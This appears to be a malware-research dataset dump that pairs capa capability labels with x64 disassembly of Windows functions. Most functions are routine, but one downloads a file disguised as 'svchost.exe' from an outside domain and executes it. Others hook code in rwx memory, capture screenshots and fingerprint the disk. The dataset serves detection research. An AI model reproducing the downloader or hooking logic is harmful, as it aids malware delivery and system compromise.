joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022cb0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov r8, rcx
lea rsi, [rdi + 0x10]
cmp qword [rsi + 0x18], 8
mov r9, rsi
mov rdx, qword [rsi + 0x10]
jb 0x140022ce3
mov r9, qword [rsi]
add rdx, rdx
xor r11d, r11d
movabs rax, 0xcbf29ce484222325
mov r10, r9
lea rcx, [rdx + r9]
cmp r9, rcx
cmova rdx, r11
test rdx, rdx
je 0x140022d29
movzx ecx, byte [r10]
movabs r11, 0x100000001b3
xor rax, rcx
inc r10
mov rcx, r10
sub rcx, r9
imul rax, r11
cmp rcx, rdx
jne 0x140022d06
mov rdx, qword [r8 + 0x30]
mov rcx, qword [r8 + 0x18]
and rdx, rax
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rdi
jne 0x140022d61
cmp qword [rcx + rdx*8], rdi
jne 0x140022d56
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r8 + 0x18]
mov rax, qword [r8 + 8]
jmp 0x140022d5a
mov rax, qword [rdi + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140022d6e
cmp qword [rcx + rdx*8], rdi
jne 0x140022d6e
mov rax, qword [rdi]
mov qword [rcx + rdx*8], rax
mov rax, qword [rdi + 8]
lea rcx, [rsi + 0x20]
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r8 + 0x10]
call fcn.1400106cc
mov rcx, rsi
call fcn.1400106cc
mov edx, 0x50
mov rcx, rdi
call fcn.140028698
mov rsi, qword [rsp + 0x38]
mov rax, r14
mov rdi, qword [rsp + 0x40]
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop r14
ret
Function at 0x14002519c
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov dword [rax + 0x18], r8d
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x48
mov qword [rax - 0x58], 0xfffffffffffffffe
mov rsi, rcx
xor r10d, r10d
mov dword [rax - 0x68], r10d
mov qword [rcx + 0x10], r10
mov qword [rcx + 0x18], 7
mov word [rcx], r10w
mov dword [rax - 0x68], 1
mov rbx, qword [rdx]
mov rbp, qword [rdx + 8]
sub rbp, rbx
cmp rbp, 0x7fffffff
ja 0x14002541b
test ebp, ebp
jle 0x140025400
movabs r11, 0x7ffffffffffffffe
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
xor edx, edx
mov word [rsp + 0x98], dx
mov cl, byte [rbx]
inc rbx
cmp ebp, 1
jle 0x140025236
mov r8b, byte [rbx]
inc rbx
cmp ebp, 2
jle 0x14002523e
mov dl, byte [rbx]
inc rbx
jmp 0x14002523e
mov r8b, byte [rsp + 0x99]
movzx ecx, cl
mov eax, ecx
shr rax, 2
mov al, byte [rax + rdi]
mov byte [rsp + 0xa8], al
movzx r9d, r8b
mov eax, r9d
shr rax, 4
shl rcx, 4
or rax, rcx
and eax, 0x3f
mov al, byte [rax + rdi]
mov byte [rsp + 0xa9], al
cmp ebp, 1
jle 0x14002528d
mov ecx, r9d
shl ecx, 2
movzx eax, dl
shr rax, 6
or rcx, rax
and ecx, 0x3f
mov al, byte [rcx + rdi]
jmp 0x14002528f
mov al, 0x3d
mov byte [rsp + 0xaa], al
cmp ebp, 2
jle 0x1400252a6
movzx eax, dl
and eax, 0x3f
mov cl, byte [rax + rdi]
jmp 0x1400252a8
mov cl, 0x3d
mov byte [rsp + 0xab], cl
mov rax, r10
mov qword [rsp + 0x28], rax
movsx ecx, byte [rsp + rax + 0xa8]
mov word [rsp + 0xa0], cx
mov r14, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
cmp r14, r12
jae 0x1400252f8
lea rax, [r14 + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp r12, 8
jb 0x1400252e8
mov rax, qword [rsi]
mov word [rax + r14*2], cx
mov word [rax + r14*2 + 2], r10w
jmp 0x1400253de
mov rax, r11
sub rax, r14
cmp rax, 1
jb 0x140025421
lea r15, [r14 + 1]
mov rdi, r15
or rdi, 7
cmp rdi, r11
jbe 0x14002531d
mov rdi, r11
jmp 0x140025339
mov rcx, r12
shr rcx, 1
mov rax, r11
sub rax, rcx
cmp r12, rax
ja 0x140025318
lea rax, [rcx + r12]
cmp rdi, rax
cmovb rdi, rax
lea rdx, [rdi + 1]
call fcn.140010564
mov r13, rax
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rdi
lea rdi, [r14 + r14]
mov rcx, rax
mov r8, rdi
cmp r12, 8
jb 0x1400253b3
mov r15, qword [rsi]
mov rdx, r15
call fcn.140029823
movzx eax, word [rsp + 0xa0]
mov word [rdi + r13], ax
xor eax, eax
mov word [rdi + r13 + 2], ax
lea rdx, [r12*2 + 2]
cmp rdx, 0x1000
jb 0x1400253a6
add rdx, 0x27
mov rcx, qword [r15 - 8]
sub r15, rcx
lea rax, [r15 - 8]
cmp rax, 0x1f
ja 0x140025414
mov r15, rcx
mov rcx, r15
call fcn.140028698
xor r10d, r10d
jmp 0x1400253d1
mov rdx, rsi
call fcn.140029823
movzx eax, word [rsp + 0xa0]
mov word [rdi + r13], ax
xor r10d, r10d
mov word [rdi + r13 + 2], r10w
movabs r11, 0x7ffffffffffffffe
mov qword [rsi], r13
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
cmp rax, 4
jb 0x1400252b7
sub ebp, 3
test ebp, ebp
jg 0x140025209
mov rax, rsi
add rsp, 0x48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call qword [0x14002d4f0]
int3
call fcn.140024704
int3
call fcn.14000e1b8
int3
Function at 0x140025ea8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
lea r8, [rdx + 4]
mov r10, rdx
cmp r8, rdx
mov r9, rdx
mov rbx, rcx
movabs rax, 0xcbf29ce484222325
sbb rdx, rdx
not rdx
and edx, 4
cmp r10, r8
ja 0x140025f02
movzx ecx, byte [r10]
movabs r8, 0x100000001b3
xor rax, rcx
inc r10
mov rcx, r10
sub rcx, r9
imul rax, r8
cmp rcx, rdx
jne 0x140025edf
mov rcx, qword [rbx + 0x30]
mov r8, qword [rbx + 0x18]
and rcx, rax
mov rdx, qword [rbx + 8]
mov rax, rcx
add rax, rax
lea r10, [rcx + rcx]
mov rax, qword [r8 + rax*8]
cmp qword [r8 + r10*8], rdx
jne 0x140025f2a
mov rcx, rdx
jmp 0x140025f32
mov rcx, qword [r8 + r10*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x140025f49
mov ecx, dword [r9]
cmp dword [rax + 0x10], ecx
je 0x140025f44
mov rax, qword [rax]
jmp 0x140025f1f
mov rcx, rax
jmp 0x140025f4f
mov rax, rdx
mov rcx, rdx
cmp rcx, rdx
jne 0x140025fc8
mov rdi, qword [rdx]
lea rax, [rsp + 0x50]
mov rdx, rdi
mov qword [rsp + 0x50], r9
mov qword [rsp + 0x20], rax
mov rsi, qword [rdi + 8]
mov r8, rsi
call fcn.1400263ac
mov rdx, rax
movabs rcx, 0x7fffffffffffffe
mov rax, qword [rbx + 0x10]
sub rcx, rax
cmp rcx, 1
jae 0x140025f9d
lea rcx, str.list_T__too_long
call qword [0x14002d8c8]
int3
inc rax
mov rcx, rbx
mov qword [rbx + 0x10], rax
mov qword [rdi + 8], rdx
mov qword [rsi], rdx
lea rdx, [rsp + 0x30]
mov r9, qword [rbx + 8]
mov r9, qword [r9]
lea r8, [r9 + 0x10]
call fcn.140026084
mov rax, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x58]
add rax, 0x18
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x14000612c
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f170]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007200
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007190
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x1400211d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020600]
jmp 0x14000723c
cmp qword [rbx + 0x18], rdi
je 0x140007243
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007233
jmp 0x14000725d
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020600]
call fcn.140011f98
lea rcx, [0x1400211d0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub al, 0x2c
sub al, 0x15
sub eax, 0x2dfd2d2d
sub eax, 0x2dff2d2d
sub eax, 0x2d2dff2d
sub eax, 0x2dff2d2d
invalid
invalid
invalid
invalid
sub eax, 0x2dff2d2d
sub eax, 0x2d2dff2d
sub eax, 0x2dff2d2d
invalid
invalid
push qword [0x17b033dda]
push rbp
pop rax
invalid
sub eax, 0x2dff2d2d
invalid
invalid
xor edi, edi
xor byte cs:[rcx], dh
jmp [0x16e0323e2]
Function at 0x180002b7c
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rcx
cmp dword [rcx + 0xc], ebx
jbe 0x180002bc8
mov rax, qword [rdi]
xor edx, edx
mov r8d, dword [rax + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x180002bc1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb 0x180002b95
mov r8, qword [rdi]
mov rcx, qword [0x18001ba40]
xor edx, edx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]

Function at 0x180002bec
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov ebx, ecx
mov esi, edx
mov ebp, 5
imul rbx, rbx, 0x38
add rbx, qword [0x18001cd00]
test byte [rbx + 0x20], 1
mov rdi, qword [rbx]
je 0x180002c25
sub rdi, rbp
mov ebp, 7
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180002c4a
mov eax, 0xa
jmp 0x180002cd6
test esi, esi
je 0x180002c6c
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x180002c8d
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x180002c8d
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x180002c87
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x180002c8d
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbp
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
mov al, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180003548
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rbp - 0x58]
mov r15, qword [rbp - 0x50]
cmp rdi, 0x40000000
jbe 0x180003596
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rbx, qword [0x18001ccf0]
lea rax, [rdi + 0x40000000]
cmp r15, rax
cmova r15, rax
sub r15, 0xfff
test rbx, rbx
je 0x1800035d1
cmp rbx, r14
jb 0x1800035cc
cmp rbx, r15
jae 0x1800035cc
cmp qword [rbx + 8], 0
jne 0x180003727
mov rbx, qword [rbx]
jmp 0x1800035b2
mov rsi, rdi
cmp rdi, r14
jb 0x18000364e
mov r12d, dword [rbp - 0x38]
xor edx, edx
mov rax, rsi
div r12
sub rsi, rdx
jmp 0x180003614
lea rdx, [rbp - 0x30]
mov r8d, 0x30
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18000361c
cmp dword [rbp - 0x10], 0x10000
je 0x18000361e
mov rsi, qword [rbp - 0x28]
cmp rsi, r12
jb 0x18000361c
sub rsi, r12
cmp rsi, r14
jae 0x1800035ea
xor esi, esi
test rsi, rsi
je 0x18000364e
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1800036e7
cmp rsi, r14
jae 0x1800035d9
test rbx, rbx
jmp 0x1800036da
mov r14d, dword [rbp - 0x38]
xor edx, edx
mov rax, rdi
div r14
mov eax, r14d
mov esi, r14d
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x1800036b3
lea rdx, [rbp - 0x30]
mov r8d, 0x30
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800036b3
cmp dword [rbp - 0x10], 0x10000
je 0x1800036b5
xor edx, edx
lea edi, [r14 - 1]
add rdi, qword [rbp - 0x18]
add rdi, qword [rbp - 0x30]
mov rax, rdi
div rsi
sub rdi, rdx
cmp rdi, r15
jbe 0x180003676
xor edi, edi
test rdi, rdi
je 0x180003727
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1800036e7
cmp rdi, r15
jbe 0x180003656
jmp 0x180003727
and qword [rbx + 8], 0
and dword [rbx + 0x10], 0
lea rcx, [rbx + 0x40]
mov rdx, rcx
sub rdx, rbx
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x1800036fa
mov rax, qword [0x18001ccf0]
mov qword [0x18001ccf0], rbx
mov qword [rbx], rax
lea r11, [rsp + 0x80]
mov rax, rbx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000da5c
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x138
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x18000da81
lea rcx, [rsp + 0x20]
call fcn.18000f22c
call fcn.18000da98
xor eax, eax
add rsp, 0x138
ret

Function at 0x18000e340
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x50]
mov edx, 0x104
mov byte [rbp + 0x80], bl
mov dword [rbp + 0x81], eax
mov word [rbp + 0x85], ax
mov byte [rbp + 0x87], al
mov dword [rbp + 0x78], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx edx, byte [rsp + 0x50]
mov dword [rsp + 0x38], ebx
lea ecx, [rbx + 0x43]
test eax, eax
cmove edx, ecx
mov qword [rsp + 0x30], rbx
lea r9, [rbp + 0x78]
mov byte [rsp + 0x50], dl
mov byte [rbp + 0x80], dl
lea rcx, [rbp + 0x80]
xor edx, edx
xor r8d, r8d
mov qword [rsp + 0x28], rbx
mov word [rbp + 0x81], 0x5c3a
mov byte [rbp + 0x83], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rbp + 0x78]
mov ecx, 0x381e515f
imul eax, eax, 0x14a30b
add eax, ecx
mov dword [rsp + 0x40], eax
imul eax, eax, 0x14a30b
add eax, ecx
imul eax, eax, 0x14a30b
add eax, ecx
mov word [rsp + 0x46], ax
imul eax, eax, 0x14a30b
inc rbx
add eax, ecx
mov byte [rsp + rbx + 0x47], al
cmp rbx, 8
jl 0x18000e402
movzx r9d, word [rsp + 0x46]
mov r8d, dword [rsp + 0x40]
mov dword [rbp + 0x78], eax
mov eax, dword [rsp + 0x4a]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x18000e850
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
xor ecx, ecx
mov esi, r9d
mov ebp, r8d
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, esi
mov rcx, rax
mov edx, ebp
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, rdi
mov rdx, rax
mov rbx, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x40], 0xcc0020
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov r9d, ebp
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], esi
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rbx
call fcn.18000e8fc
mov rcx, rbx
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov al, 1
add rsp, 0x50
pop rdi
ret
Function at 0x18000ebd8
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
cmp qword [rdx + 0x18], 8
mov rax, rdx
mov rbx, rcx
jb 0x18000ebfc
mov rax, qword [rdx]
xor ebp, ebp
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], rbp
lea r8d, [rbp + 1]
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000ec41
mov qword [rbx], rbp
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], rbp
jmp 0x18000ecda
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x18000ec5e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000ec31
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x50], rbp
call fcn.18000233c
mov r8d, esi
mov rsi, qword [rsp + 0x40]
lea r9, [rsp + 0x78]
mov rcx, rdi
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x18000ecbf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rbp
mov qword [rbx + 8], rbp
mov qword [rbx + 0x10], rbp
test rsi, rsi
je 0x18000ecda
mov rcx, rsi
call fcn.180004798
jmp 0x18000ecda
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
mov qword [rbx], rsi
mov qword [rbx + 8], rax
mov rax, qword [rsp + 0x50]
mov qword [rbx + 0x10], rax
lea r11, [rsp + 0x60]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000f048
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x20
lea r9, [rsp + 0x30]
lea rcx, [0x1800138f0]
xor ebx, ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
cmovns rbx, qword [rsp + 0x30]
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x18000f084
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
and qword [rsp + 0x20], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x30], 0
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 8
mov edx, eax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f0df
and qword [rbx], 0
and qword [rbx + 8], 0
and qword [rbx + 0x10], 0
jmp 0x18000f134
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x238
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x18000f0cf
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.1800020f8
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x18000f0f9
mov rax, qword [rsp + 0x20]
mov qword [rbx], rax
mov rax, qword [rsp + 0x28]
mov qword [rbx + 8], rax
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x10], rax
lea r11, [rsp + 0x280]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x18000f22c
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x1f0
mov rbx, rcx
lea rcx, str.http:__4382.bimmobil.xyz_tools_svchost.exe
call qword [sym.imp.SHLWAPI.dll_PathIsURLA]
test eax, eax
je 0x18000f311
lea rcx, str.http:__4382.bimmobil.xyz_tools_svchost.exe
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea rcx, [rsp + 0xe0]
mov rdx, rbx
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
test rax, rax
je 0x18000f311
and qword [rsp + 0x20], 0
lea r8, [rsp + 0xe0]
lea rdx, str.http:__4382.bimmobil.xyz_tools_svchost.exe
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x18000f311
lea r8d, [rax + 0x60]
lea rcx, [rsp + 0x78]
xor edx, edx
mov dword [rsp + 0x70], 0x68
call fcn.180008ce0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000f311
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x18000f313
xor al, al
add rsp, 0x1f0
pop rbx
ret
Function at 0x18000f388
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ebx, ebx
cmp word [rsp + 0x20], bx
jne 0x18000f3ad
xor eax, eax
jmp 0x18000f3c4
lea rdx, [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x68], ebx
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret